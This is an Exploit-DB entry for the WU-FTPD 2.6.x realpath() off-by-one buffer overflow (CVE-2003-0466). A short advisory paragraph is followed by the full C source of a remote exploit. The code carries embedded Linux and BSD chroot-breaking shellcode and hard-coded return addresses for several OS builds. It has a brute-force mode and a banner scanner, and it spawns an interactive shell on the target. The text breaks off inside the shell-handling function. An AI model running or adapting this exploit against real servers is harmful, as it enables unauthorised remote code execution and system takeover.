标题: WU-FTPD 2.6.0/2.6.1/2.6.2 - 'realpath()' Off-by-One Buffer Overflow EDB-ID: 22975 CVE: 2003-0466 类型: REMOTE 平台: UNIX 发布日期: 2003-08-06 漏洞利用脚本: // source: https://www.securityfocus.com/bid/8315/info
 
The 'realpath()' function is a C-library procedure to resolve the canonical, absolute pathname of a file based on a path that may contain values such as '/', './', '../', or symbolic links. A vulnerability that was reported to affect the implementation of 'realpath()' in WU-FTPD has lead to the discovery that at least one implementation of the C library is also vulnerable. FreeBSD has announced that the off-by-one stack- buffer-overflow vulnerability is present in their libc. Other systems are also likely vulnerable.
 
Reportedly, this vulnerability has been successfully exploited against WU-FTPD to execute arbitrary instructions.
 
NOTE: Patching the C library alone may not remove all instances of this vulnerability. Statically linked programs may need to be rebuilt with a patched version of the C library. Also, some applications may implement their own version of 'realpath()'. These applications would require their own patches. FreeBSD has published a large list of applications that use 'realpath()'. Administrators of FreeBSD and other systems are urged to review it. For more information, see the advisory 'FreeBSD-SA-03:08.realpath'.

/*
**
** wu-ftpd v2.6.2 off-by-one remote 0day exploit.
** 
** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>.
**
** Update: 
** [v0.0.2] August 2, I added wu-ftpd-2.6.2, 2.6.0, 2.6.1 finally.
** [v0.0.3] August 3, Brute-Force function addition.
** [v0.0.4] August 4, Added FreeBSD, OpenBSD version wu-ftpd-2.6.x exploit.
** It will be applied well to most XxxxBSD.
** [v0.0.5] August 4, Remote scan & exploit test function addition.
** August 6, Cleaning.
**
*/

#define VERSION "v0.0.5"
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define DEBUG_NG
#undef DEBUG_NG
#define NRL 0
#define SCS 1
#define FAD (-1)
#define MAX_BF (16)
#define BF_LSZ (0x100) /* 256 */
#define DEF_VA 255
#define DEF_PORT 21
#define DEF_ANSH_LINUX 15
#define DEF_ANSH_FRBSD 55
#define GET_HOST_NM_ERR (NULL)
#define SIN_ZR_SIZE 8
#define DEF_ALIGN 4
#define GET_R 5000
#define DEF_NOP 64
#define DEF_STR "x0x"
#define HOME_DIR_LINUX "/home/"
#define HOME_DIR_FRBSD "/usr/home/"
#define HOME_DIR_OPBSD "/home/"
#define DEF_HOST "localhost"
#define DEF_COMM "echo \"x82 is happy, x82 is happy, x82 is happy\";" \
"uname -a;id;export TERM=vt100;exec bash -i\n"
#define DEF_COMM_OB "echo \"x82 is happy, x82 is happy, x82 is happy\";" \
"uname -a;id;export TERM=vt100;exec sh -i\n"
/* ftpd handshake */
#define FTP_CONN_SCS "220"
#define FTP_USER_FAD "331"
#define FTP_LOGIN_FAD "530 Login incorrect."
#define FTP_LOGIN_SCS "230"
#define CWD_COMM_SCS "250" /* also, RMD command */
#define MKD_COMM_SCS "257"
#define MKD_EXIST "521"
#define CMD_ERROR "500"

void ftpd_login(int sock,char *user,char *pass);
void conn_shell(int conn_sock,u_long scs_addr);
int setsock(char *u_host,int u_port);
void re_connt(int st_sock_va);
void prcode_usage(char *f_nm);
int mkd_cwd_f(int sock,int type,char *dir_nm,int gb_character);
int send_shellcode(int sock,int type,char *dir_nm);
void make_send_exploit(int sock,int type,u_long sh_addr,int d_type);
int make_retloc(int sock,int type,char *atk_bf,u_long sh_addr);
u_long null_chk(u_long sh_addr);
void banrl();
int bscann(char *chk_ban);
int check_exp(int sock);

struct os
{
 int num;
 char *v_nm;
 u_long sh_addr;
 u_long bf_addr;
 char *shellcode;
 int off_st;
 char *home;
};
int t_g=(NRL);
char home_dir[(DEF_VA)]; /* user home directory offset */
int __exp_test=(NRL); /* check exploit test */
int b_scan=(NRL); /* banner check */
/*
** `0xff' uses two times to be realized in our shellcode.
*/
char lnx_shellcode_ffx2[]=
 /* setuid/chroot-break/execve shellcode by Lam3rZ */
 "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb\x43\x89"
 "\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31\xc9\x8d\x5e\x01"
 "\x88\x46\x04\x66\xb9\xff\xff\x01\xb0\x27\xcd\x80\x31\xc0\x8d\x5e\x01"
 "\xb0\x3d\xcd\x80\x31\xc0\x31\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9"
 "\xfe\xc9\x31\xc0\x8d\x5e\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31"
 "\xc0\x88\x46\x09\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe"
 "\xc8\x88\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\x89"
 "\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0\x31\xdb\xb0"
"\x01\xcd\x80\xe8\x90\xff\xff\xff\xff\xff\xff\x30\x62\x69\x6e\x30\x73\x68\x31"
 "\x2e\x2e\x31\x31";

char bsd_shellcode_ffx2[]=
 /* Lam3rZ chroot() code rewritten for FreeBSD by venglin */
 "\x31\xc0\x50\x50\x50\xb0\x7e\xcd\x80\x31\xdb\x31\xc0\x43"
 "\x43\x53\x4b\x53\x53\xb0\x5a\xcd\x80\xeb\x77\x5e\x31\xc0"
 "\x8d\x5e\x01\x88\x46\x04\x66\x68\xff\xff\x01\x53\x53\xb0\x88"
 "\xcd\x80\x31\xc0\x8d\x5e\x01\x53\x53\xb0\x3d\xcd\x80\x31"
 "\xc0\x31\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31"
 "\xc0\x8d\x5e\x08\x53\x53\xb0\x0c\xcd\x80\xfe\xc9\x75\xf1"
 "\x31\xc0\x88\x46\x09\x8d\x5e\x08\x53\x53\xb0\x3d\xcd\x80"
 "\xfe\x0e\xb0\x30\xfe\xc8\x88\x46\x04\x31\xc0\x88\x46\x07"
 "\x89\x76\x08\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
 "\x52\x51\x53\x53\xb0\x3b\xcd\x80\x31\xc0\x31\xdb\x53\x53"
 "\xb0\x01\xcd\x80\xe8\x84\xff\xff\xff\xff\xff\xff\x30\x62\x69\x6e\x30"
 "\x73\x68\x31\x2e\x2e\x31\x31\x76\x65\x6e\x67\x6c\x69\x6e"
 "\x40\x6b\x6f\x63\x68\x61\x6d\x2e\x6b\x61\x73\x69\x65\x2e"
 "\x63\x6f\x6d";

struct os plat[]=
{
 /*
 ** I enjoy version up, will not share more. :-}
 */
 {
 0,"RedHat Linux 6.x Version wu-2.6.0 compile",0x0806a59c,
 0x0806a082,lnx_shellcode_ffx2,(DEF_ANSH_LINUX),(HOME_DIR_LINUX)
 },
 {
 1,"RedHat Linux 6.x Version wu-2.6.1 compile",0x0806aad8,
 0x0806a082,lnx_shellcode_ffx2,(DEF_ANSH_LINUX),(HOME_DIR_LINUX)
 },
 {
 2,"RedHat Linux 6.x Version wu-2.6.2 compile",0x0806aa60,
 0x0806a082,lnx_shellcode_ffx2,(DEF_ANSH_LINUX),(HOME_DIR_LINUX)
 },
 {
 3,"FreeBSD 4.6.2-RELEASE Version wu-2.6.0 compile",0x0806b826,
 0x0806b026,bsd_shellcode_ffx2,(DEF_ANSH_FRBSD),(HOME_DIR_FRBSD)
 },
 {
 4,"FreeBSD 4.6.2-RELEASE Version wu-2.6.1 compile",0x0806cb36,
 0x0806c036,bsd_shellcode_ffx2,(DEF_ANSH_FRBSD),(HOME_DIR_FRBSD)
 },
 {
 5,"FreeBSD 4.6.2-RELEASE Version wu-2.6.2 compile",0x0806ccaa,
 0x0806c082,bsd_shellcode_ffx2,(DEF_ANSH_FRBSD),(HOME_DIR_FRBSD)
 },
 {
 6,"OpenBSD 3.0 Version wu-2.6.0 compile",0xdfbfc8f8,
 0xdfbfc0f8,bsd_shellcode_ffx2,(DEF_ANSH_FRBSD),(HOME_DIR_OPBSD)
 },
 {
 7,"OpenBSD 3.0 Version wu-2.6.1 compile",0xdfbfc8f8,
 0xdfbfc0f8,bsd_shellcode_ffx2,(DEF_ANSH_FRBSD),(HOME_DIR_OPBSD)
 },
 {
 8,"OpenBSD 3.0 Version wu-2.6.2 compile",0xdfbfc8f8,
 0xdfbfc0f8,bsd_shellcode_ffx2,(DEF_ANSH_FRBSD),(HOME_DIR_OPBSD)
 },
 {
 0x82,NULL,0x0,0x0,NULL,0,NULL
 }
};

void prcode_usage(char *f_nm)
{
 int r_n=(NRL);
 fprintf(stdout," Usage: %s -options arguments\n\n",f_nm);
 fprintf(stdout," \t-h [hostname] : Target hostname & ip.\n");
 fprintf(stdout," \t-u [userid] : User id.\n");
 fprintf(stdout," \t-p [passwd] : User password.\n");
 fprintf(stdout," \t-n [port num] : Target port number.\n");
 fprintf(stdout," \t-s [shelladdr] : Shellcode address.\n");
 fprintf(stdout," \t-m [max num] : Brute-Force Count number.\n");
 fprintf(stdout," \t-i : help information.\n");
 fprintf(stdout," \t-q : banner scan mode.\n");
 fprintf(stdout," \t-c : check exploit test.\n");
 fprintf(stdout," \t-t [target num] : Select target number.\n");
 fprintf(stdout," \t-b [target num] : Brute-Force mode. (Select target number)\n\n");
 for(r_n=(NRL);plat[r_n].v_nm!=(NULL);r_n++)
 {
  fprintf(stdout," \t\t{%d} %s.\n",(plat[r_n].num),(plat[r_n].v_nm));
 }
 fprintf(stdout,"\n Example1: %s -hlocalhost -ux82 -px82 -n21 -t0",f_nm);
 fprintf(stdout,"\n Example2: %s -hwu_sub -ux82 -px82 -n21 -b0",f_nm);
 fprintf(stdout,"\n Example3: %s -h0 -ux82 -px82 -qc -t0\n\n",f_nm);
 exit(FAD);
}

u_long null_chk(u_long sh_addr)
{
 int chk_0x2f=(NRL);
 for(chk_0x2f=(NRL);chk_0x2f<0x20;chk_0x2f+=(DEF_ALIGN*2))
 {
  if((sh_addr>>(chk_0x2f)&0xff)==(0x2f))
  {
  fprintf(stderr," [-] slash was included to &shellcode address.\n\n");
  exit(FAD);
  }
 }
 if((sh_addr>>(NRL)&0xff)==(0x00))
 {
  return(sh_addr+=(SCS));
 }
 else return(sh_addr);
}

int bscann(char *chk_ban)
{
 fprintf(stdout,"\n [+] Checking, banner ...\n");
 if(strstr(chk_ban,"wu-2.6.0"))
 {
 fprintf(stdout," [*] [wu-ftpd-2.6.0]: This is version that exploit is possible.\n\n");
 return(SCS);
 }
 else if(strstr(chk_ban,"wu-2.6.1"))
 {
 fprintf(stdout," [*] [wu-ftpd-2.6.1]: This is version that exploit is possible.\n\n");
 return(SCS);
 }
 else if(strstr(chk_ban,"wu-2.6.2"))
 {
 fprintf(stdout," [*] [wu-ftpd-2.6.2]: This is version that exploit is possible.\n\n");
 return(SCS);
 }
 else
 {
 fprintf(stdout," [x] This version does not support exploit.\n");
 return(FAD);
 }
}

void ftpd_login(int sock,char *user,char *pass)
{
 char send_recv[(GET_R)];

 (u_int)sleep(SCS);
 memset((char *)send_recv,(NRL),sizeof(send_recv));
 recv(sock,send_recv,sizeof(send_recv)-1,(NRL));

 if(b_scan)
 {
  b_scan=(NRL);
  if(((int)bscann(send_recv))==(FAD))
  {
   fprintf(stdout," [-] exploit stop.\n\n");
   exit(FAD);
  }
 }
 if(!strstr(send_recv,(FTP_CONN_SCS)))
 {
  fprintf(stdout," [-] ftpd connection failure.\n\n");
  close(sock);
  exit(FAD);
 }
 else fprintf(stdout," [*] ftpd connection success.\n");
 fprintf(stdout," [+] User id input.\n");

 memset((char *)send_recv,(NRL),sizeof(send_recv));
 snprintf(send_recv,sizeof(send_recv)-1,"USER %s\r\n",user);
 send(sock,send_recv,strlen(send_recv),(NRL));

 (u_int)sleep(SCS);
 memset((char *)send_recv,(NRL),sizeof(send_recv));
 recv(sock,send_recv,sizeof(send_recv)-1,(NRL));

 if(!strstr(send_recv,(FTP_USER_FAD)))
 {
  fprintf(stdout," [-] User id input failure.\n\n");
  close(sock);
  exit(FAD);
 }
 else fprintf(stdout," [+] User password input.\n");

 memset((char *)send_recv,(NRL),sizeof(send_recv));
 snprintf(send_recv,sizeof(send_recv)-1,"PASS %s\r\n",pass);
 send(sock,send_recv,strlen(send_recv),(NRL));

 (u_int)sleep(SCS);
 memset((char *)send_recv,(NRL),sizeof(send_recv));
 recv(sock,send_recv,sizeof(send_recv)-1,(NRL));

 if(strstr(send_recv,(FTP_LOGIN_FAD)))
 {
  fprintf(stdout," [-] FAILED LOGIN on %s.\n\n",user);
  close(sock);
  exit(FAD);
 }
 else if(strstr(send_recv,(FTP_LOGIN_SCS)))
 {
  fprintf(stdout," [*] User %s logged in.\n",user);
 }
 else
 {
  fprintf(stdout," [-] ftpd handshake failure.\n\n");
  close(sock);
  exit(FAD);
 }
 return;
}

int mkd_cwd_f(int sock,int type,char *dir_nm,int gb_character)
{
 int dr_n=(NRL),cmd_f=(NRL);
 char get_nm[(GET_R)];

 memset((char *)dir_nm,(NRL),(GET_R));
 /* MKD command */
 dir_nm[cmd_f++]=(0x4d);
 dir_nm[cmd_f++]=(0x4b);
 dir_nm[cmd_f++]=(0x44);
 dir_nm[cmd_f++]=(0x20);

 for(dr_n=(cmd_f);dr_n<(DEF_VA)+(cmd_f);dr_n++)
 {
  dir_nm[dr_n]=(gb_character);
 }
 dir_nm[dr_n++]=(0x0d);
 dir_nm[dr_n++]=(0x0a);

 if(type)
 {
  send(sock,dir_nm,strlen(dir_nm),(NRL));
  (u_int)sleep(SCS);
  memset((char *)get_nm,(NRL),sizeof(get_nm));
  recv(sock,get_nm,sizeof(get_nm)-1,(NRL));

 if(!strstr(get_nm,(MKD_COMM_SCS))&&!strstr(get_nm,(MKD_EXIST)))
  {
   fprintf(stdout," [-] MKD command failed.\n\n");
   exit(FAD);
  }
 }
 /* CMD command */
 cmd_f=(NRL);
 dir_nm[cmd_f++]=(0x43);
 dir_nm[cmd_f++]=(0x57);
 dir_nm[cmd_f++]=(0x44);

 send(sock,dir_nm,strlen(dir_nm),(NRL));
 (u_int)sleep(SCS);
 memset((char *)get_nm,(NRL),sizeof(get_nm));
 recv(sock,get_nm,sizeof(get_nm)-1,(NRL));

 if(!strstr(get_nm,(CWD_COMM_SCS)))
 {
  fprintf(stdout," [-] CWD command failed.\n\n");
  exit(FAD);
 }
 return;
}

int send_shellcode(int sock,int type,char *dir_nm)
{
 int dr_n=(NRL),cmd_f=(NRL);
 char get_nm[(GET_R)];

 memset((char *)dir_nm,(NRL),(GET_R));
 /* MKD command */
 dir_nm[cmd_f++]=(0x4d);
 dir_nm[cmd_f++]=(0x4b);
 dir_nm[cmd_f++]=(0x44);
 dir_nm[cmd_f++]=(0x20);
 
for(dr_n=(cmd_f);dr_n<(DEF_VA)+sizeof(0xffffffff)+(cmd_f)-strlen(plat
[t_g].shellcode);dr_n++)
 {
  dir_nm[dr_n]=(DEF_NOP);
 }
 for(cmd_f=(NRL);cmd_f<strlen(plat[t_g].shellcode);cmd_f++)
 {
  dir_nm[dr_n++]=plat[t_g].shellcode[cmd_f];
 }
 dir_nm[dr_n++]=(0x0d);
 dir_nm[dr_n++]=(0x0a);

 if(type)
 {
  send(sock,dir_nm,strlen(dir_nm),(NRL));
  (u_int)sleep(SCS);
  memset((char *)get_nm,(NRL),sizeof(get_nm));
  recv(sock,get_nm,sizeof(get_nm)-1,(NRL));

  if(!strstr(get_nm,(MKD_COMM_SCS))&&!strstr(get_nm,(MKD_EXIST)))
  {
   fprintf(stdout," [-] MKD shellcode_dir failed.\n\n");
   exit(FAD);
  }
 }
 /* CMD command */
 cmd_f=(NRL);
 dir_nm[cmd_f++]=(0x43);
 dir_nm[cmd_f++]=(0x57);
 dir_nm[cmd_f++]=(0x44);

 send(sock,dir_nm,strlen(dir_nm),(NRL));
 (u_int)sleep(SCS);
 memset((char *)get_nm,(NRL),sizeof(get_nm));
 recv(sock,get_nm,(GET_R)-1,(NRL));

 if(!strstr(get_nm,(CWD_COMM_SCS)))
 {
  fprintf(stdout," [-] CWD shellcode_dir failed.\n\n");
  exit(FAD);
 }
 return;
}

void make_send_exploit(int sock,int type,u_long sh_addr,int d_type)
{
 char atk_bf[(GET_R)];
 switch(t_g)
 {
  case 0:
  case 1:
  case 2:
  fprintf(stdout," [+] 01: make 0x41414141 directory.\n");
  (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x41)); /* 01 */
  fprintf(stdout," [+] 02: make shell-code directory.\n");
  (int)send_shellcode(sock,d_type,(atk_bf)); /* 02 */
  fprintf(stdout," [+] 03: make 0x43434343 directory.\n");
  (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x43)); /* 03 */
  fprintf(stdout," [+] 04: make 0x44444444 directory.\n");
  (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x44)); /* 04 */
  fprintf(stdout," [+] 05: make 0x45454545 directory.\n");
  (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x45)); /* 05 */
  fprintf(stdout," [+] 06: make 0x46464646 directory.\n");
  (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x46)); /* 06 */
  fprintf(stdout," [+] 07: make 0x47474747 directory.\n");
  (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x47)); /* 07 */
  fprintf(stdout," [+] 08: make 0x48484848 directory.\n");
  (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x48)); /* 08 */
  fprintf(stdout," [+] 09: make 0x49494949 directory.\n");
  (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x49)); /* 09 */
  fprintf(stdout," [+] 10: make 0x50505050 directory.\n");
  (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x50)); /* 10 */
  fprintf(stdout," [+] 11: make 0x51515151 directory.\n");
  (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x51)); /* 11 */
  fprintf(stdout," [+] 12: make 0x52525252 directory.\n");
  (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x52)); /* 12 */
  fprintf(stdout," [+] 13: make 0x53535353 directory.\n");
  (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x53)); /* 13 */
  fprintf(stdout," [+] 14: make 0x54545454 directory.\n");
  (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x54)); /* 14 */
  fprintf(stdout," [+] 15: make 0x55555555 directory.\n");
  (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x55)); /* 15 */
  (int)make_retloc(sock,type,(atk_bf),sh_addr); /* 16 */
  break;
  case 3:
  case 4:
  case 5:
  case 6:
  case 7:
  case 8:
   fprintf(stdout," [+] 01: make 0x41414141 directory.\n");
   (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x41)); /* 01 */
   fprintf(stdout," [+] 02: make shell-code directory.\n");
   (int)send_shellcode(sock,d_type,(atk_bf)); /* 02 */
   fprintf(stdout," [+] 03: make 0x43434343 directory.\n");
   (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x43)); /* 03 */
   (int)make_retloc(sock,type,(atk_bf),sh_addr); /* 04 */
   break;
 }
 if(type&&__exp_test)
 {
  __exp_test=(NRL);
  if(((int)check_exp(sock))==(FAD))
  {
   fprintf(stderr," [-] This isn't vulnerable.\n\n");
   exit(FAD);
  }
 }
 return;
}

int make_retloc(int sock,int type,char *atk_bf,u_long sh_addr)
{
 int r_rn_1=(NRL),r_rn_2=(NRL),cmd_f=(NRL);
 char get_nm[(GET_R)];

 memset((char *)atk_bf,(NRL),(GET_R));
 if(type) /* MKD command */
 {
  atk_bf[cmd_f++]=(0x4d);
  atk_bf[cmd_f++]=(0x4b);
  atk_bf[cmd_f++]=(0x44);
  atk_bf[cmd_f++]=(0x20);
 }
 else /* RMD command */
 {
  atk_bf[cmd_f++]=(0x52);
  atk_bf[cmd_f++]=(0x4d);
  atk_bf[cmd_f++]=(0x44);
  atk_bf[cmd_f++]=(0x20);
 }
for(r_rn_1=(cmd_f),r_rn_2=(NRL);r_rn_2<(DEF_VA)-strlen(home_dir)-(plat[t_g].off_st);r_rn_2++)
  atk_bf[r_rn_1++]=(0x41);
 {
  int chk_0xff=(NRL);
  switch(t_g)
  {
   case 0:
   case 1:
   case 2:
    /* frame pointer */
    *(long *)&atk_bf[r_rn_1]=0x82828282;
    r_rn_1+=(DEF_ALIGN);
   for(chk_0xff=(NRL);chk_0xff<0x20;chk_0xff+=(DEF_ALIGN*2))
    {
     if((sh_addr>>(chk_0xff)&0xff)==(0xff))
      atk_bf[r_rn_1++]=0xff;
    atk_bf[r_rn_1++]=(sh_addr>>(chk_0xff)&0xff);
    }
    break;
   case 3:
   case 4:
   case 5:
    /* frame pointer */
    *(long *)&atk_bf[r_rn_1]=0x82828282;
    r_rn_1+=(DEF_ALIGN);
   for(chk_0xff=(NRL);chk_0xff<0x20;chk_0xff+=(DEF_ALIGN*2))
    {
    if((sh_addr>>(chk_0xff)&0xff)==(0xff))
     atk_bf[r_rn_1++]=0xff;
    atk_bf[r_rn_1++]=(sh_addr>>(chk_0xff)&0xff);
    }
   for(r_rn_2=(NRL);r_rn_2<(DEF_ALIGN*10);r_rn_2++)
    {
     atk_bf[r_rn_1++]=(0x41);
    }
    break;
   case 6:
   case 7:
   case 8:
   for(r_rn_2=(NRL);r_rn_2<(DEF_ALIGN*10);r_rn_2++)
    {
     atk_bf[r_rn_1++]=(0x41);
    }
    /* frame pointer */
    *(long *)&atk_bf[r_rn_1]=0x82828282;
    r_rn_1+=(DEF_ALIGN);
   for(chk_0xff=(NRL);chk_0xff<0x20;chk_0xff+=(DEF_ALIGN*2))
    {
     if((sh_addr>>(chk_0xff)&0xff)==(0xff))
      atk_bf[r_rn_1++]=0xff;
    atk_bf[r_rn_1++]=(sh_addr>>(chk_0xff)&0xff);
    }
    break;
  }
  *(long *)&atk_bf[r_rn_1]=0x41414141;
  r_rn_1+=(DEF_ALIGN);
  *(long *)&atk_bf[r_rn_1]=0x0d414141;
  r_rn_1+=(DEF_ALIGN);
  atk_bf[r_rn_1++]=(0x0a);
 }
 send(sock,atk_bf,strlen(atk_bf),(NRL));
 (u_int)sleep(SCS);
 memset((char *)get_nm,(NRL),sizeof(get_nm));
 recv(sock,get_nm,sizeof(get_nm)-1,(NRL));

 if(type) /* MKD command */
 {
  if(!strstr(get_nm,(MKD_COMM_SCS))&&!strstr(get_nm,(MKD_EXIST)))
  {
   fprintf(stdout," [-] MKD &shellcode_dir failed.\n\n");
   exit(FAD);
  }
  else fprintf(stdout," [+] Ok, MKD &shellcode_dir.\n");
 }
 else /* RMD command */
 {
  if(!strstr(get_nm,(CWD_COMM_SCS)))
  {
   fprintf(stdout," [-] RMD &shellcode_dir failed.\n\n");
   exit(FAD);
  }
  else fprintf(stdout," [+] Ok, RMD &shellcode_dir.\n");
 }
 return;
}

int main(int argc,char *argv[])
{
 int opt_g,sock,__bf=(NRL);
 int mx_bf=(MAX_BF),bf_lsz=(BF_LSZ);
 char user_id[(DEF_VA)]=(DEF_STR);
 char pass_wd[(DEF_VA)]=(DEF_STR);
 char tg_host[(DEF_VA)]=(DEF_HOST);
 int tg_port=(DEF_PORT);
 u_long sh_addr=(plat[t_g].sh_addr);

 (void)banrl();
while((opt_g=getopt(argc,argv,"QqCcM:m:H:h:U:u:P:p:N:n:S:s:T:t:B:b:Ii"))!=EOF)
 {
  extern char *optarg;
  switch(opt_g)
  {
   case 'Q':
   case 'q':
    fprintf(stdout," [*] Banner scan mode.\n");
    b_scan=(SCS);
    break;
    
   case 'C':
   case 'c':
    fprintf(stdout," [*] Check exploit test mode.\n");
    __exp_test=(SCS);
    break;

   case 'M':
   case 'm':
    mx_bf=(atoi(optarg));
    bf_lsz=((0x1000)/mx_bf);
    break;

   case 'H':
   case 'h':
    memset((char *)tg_host,(NRL),sizeof(tg_host));
    strncpy(tg_host,optarg,sizeof(tg_host)-1);
    break;
    
   case 'U':
   case 'u':
    memset((char *)user_id,(NRL),sizeof(user_id));
    strncpy(user_id,optarg,sizeof(user_id)-1);
    break;
    
   case 'P':
   case 'p':
   memset((char *)pass_wd,(NRL),sizeof(pass_wd));
    strncpy(pass_wd,optarg,sizeof(pass_wd)-1);
    break;
    
   case 'N':
   case 'n':
    tg_port=(atoi(optarg));
    break;
    
   case 'S':
   case 's':
    sh_addr=strtoul(optarg,(NRL),(NRL));
    break;
    
   case 'T':
   case 't':
    if((t_g=(atoi(optarg)))<(9))
     sh_addr=(plat[t_g].sh_addr);
    else (void)prcode_usage(argv[(NRL)]);
    break;
    
   case 'B':
   case 'b':
    if((t_g=(atoi(optarg)))<(9))
    {
     sh_addr=(plat[t_g].bf_addr);
     __bf=(SCS);
    }
    else (void)prcode_usage(argv[(NRL)]);
    break;
    
   case 'I':
   case 'i':
    (void)prcode_usage(argv[(NRL)]);
    break;
    
   case '?':
    (void)prcode_usage(argv[(NRL)]);
    break;
  }
 }
 if(!strcmp(user_id,(DEF_STR))||!strcmp(pass_wd,(DEF_STR)))
  (void)prcode_usage(argv[(NRL)]);
 
 memset((char *)home_dir,(NRL),sizeof(home_dir));
 snprintf(home_dir,sizeof(home_dir)-1,"%s%s",(plat[t_g].home),user_id);

 if(!__bf)
 {
  fprintf(stdout," [*] Target: %s.\n",(plat[t_g].v_nm));
  sh_addr=(u_long)null_chk(sh_addr);
  fprintf(stdout," [+] address: %p.\n",sh_addr);
  fprintf(stdout," [*] #1 Try, %s:%d ...",tg_host,tg_port);
  fflush(stdout);

  sock=(int)setsock(tg_host,tg_port);
  (void)re_connt(sock);
  fprintf(stdout," [ OK ]\n");

  fprintf(stdout," [1] ftpd connection login.\n");
  (void)ftpd_login(sock,user_id,pass_wd);

  fprintf(stdout," [2] send exploit code.\n");
  (void)make_send_exploit(sock,(SCS),sh_addr,(SCS));
  close(sock);

  fprintf(stdout," [+] #2 Try, %s:%d ...",tg_host,tg_port);
  fflush(stdout);

  sock=(int)setsock(tg_host,tg_port);
  (void)re_connt(sock);
  fprintf(stdout," [ OK ]\n");

  fprintf(stdout," [3] ftpd connection login.\n");
  (void)ftpd_login(sock,user_id,pass_wd);

  fprintf(stdout," [4] send exploit code.\n");
  (void)make_send_exploit(sock,(NRL),sh_addr,(NRL));

  fprintf(stdout," [5] Waiting, execute the shell ");
  fflush(stdout);
  (u_int)sleep(SCS);
  
  fprintf(stdout,".");
  fflush(stdout);
  (u_int)sleep(SCS);
  
  fprintf(stdout,".");
  fflush(stdout);
  (u_int)sleep(SCS);

  fprintf(stdout,".\n");
  (void)conn_shell(sock,sh_addr);
  close(sock);
 }
 else
 {
  int bt_num=(NRL);
  fprintf(stdout," [*] Brute-Force mode.\n");
  fprintf(stdout," [+] BF Count: %d.\n",mx_bf);
  fprintf(stdout," [+] BF Size: +%d.\n\n",bf_lsz);

  for(bt_num=(NRL);bt_num<(mx_bf);bt_num++)
  {
   sh_addr=(u_long)null_chk(sh_addr);
   fprintf(stdout," [+] Brute-Force address: %p.\n",sh_addr);
   fprintf(stdout," [*] #1 Try, %s:%d ...",tg_host,tg_port);
   fflush(stdout);
   
   sock=(int)setsock(tg_host,tg_port);
   (void)re_connt(sock);
   fprintf(stdout," [ OK ]\n");
   
   fprintf(stdout," [1] ftpd connection login.\n");
   (void)ftpd_login(sock,user_id,pass_wd);
   
   fprintf(stdout," [2] send exploit code.\n");
   if(bt_num==(NRL))
   {
   (void)make_send_exploit(sock,(SCS),sh_addr,(SCS));
   }
   else
   {
   (void)make_send_exploit(sock,(SCS),sh_addr,(NRL));
   }
   close(sock);
   
   fprintf(stdout," [+] #2 Try, %s:%d ...",tg_host,tg_port);
   fflush(stdout);
   
   sock=(int)setsock(tg_host,tg_port);
   (void)re_connt(sock);
   fprintf(stdout," [ OK ]\n");
   
   fprintf(stdout," [3] ftpd connection login.\n");
   (void)ftpd_login(sock,user_id,pass_wd);
   
   fprintf(stdout," [4] send exploit code.\n");
   (void)make_send_exploit(sock,(NRL),sh_addr,(NRL));
   
   fprintf(stdout," [5] Waiting, execute the shell ");
   fflush(stdout);
   (u_int)sleep(SCS);

   fprintf(stdout,".");
   fflush(stdout);
   (u_int)sleep(SCS);
   
   fprintf(stdout,".");
   fflush(stdout);
   (u_int)sleep(SCS);
   
   fprintf(stdout,".\n");
   (void)conn_shell(sock,sh_addr);
   close(sock);

   sh_addr+=(bf_lsz);
  }
 }
 exit(NRL);
}

int setsock(char *u_host,int u_port)
{
 int sock;
 struct hostent *sxp;
 struct sockaddr_in sxp_addr;
 
 if((sxp=gethostbyname(u_host))==(GET_HOST_NM_ERR))
 {
  return(FAD);
 }
 if((sock=socket(AF_INET,SOCK_STREAM,(NRL)))==(FAD))
 {
  return(FAD);
 }
 sxp_addr.sin_family=AF_INET;
 sxp_addr.sin_port=htons(u_port);
 sxp_addr.sin_addr=*((struct in_addr*)sxp->h_addr);
 bzero(&(sxp_addr.sin_zero),(SIN_ZR_SIZE));

 if(connect(sock,(struct sockaddr *)&sxp_addr,sizeof(struct sockaddr))==(FAD))
 {
  return(FAD);
 }
 return(sock);
}

void conn_shell(int conn_sock,u_long scs_addr)
{
 int died;
 int ex_t=(NRL);
 char *command,readbuf[(GET_R)];
 fd_set rset;

 switch(t_g)
 {
  case 0:
  case 1:
  case 2:
  case 3:
  case 4:
  case 5:
   command=(DEF_COMM);
   break;
  case 6:
  case 7:
  case 8:
   command=(DEF_COMM_OB);
   break;
 }
 memset((char *)readbuf,(NRL),sizeof(readbuf));
 fprintf(stdout," [*] Send, command packet !\n\n");
 send(conn_sock,command,strlen(command),(NRL));

 for(;;)
 {
  fflush(stdout);
  FD_ZERO(&rset);
  FD_SET(conn_sock,&rset);
  FD_SET(STDIN_FILENO,&rset);
  select(conn_sock+1,&rset,NULL,NULL,NULL);

  if(FD_ISSET(conn_sock,&rset))
  {
   died=read(conn_sock,readbuf,sizeof(readbuf)-1);
   if(died<=(NRL))
   {
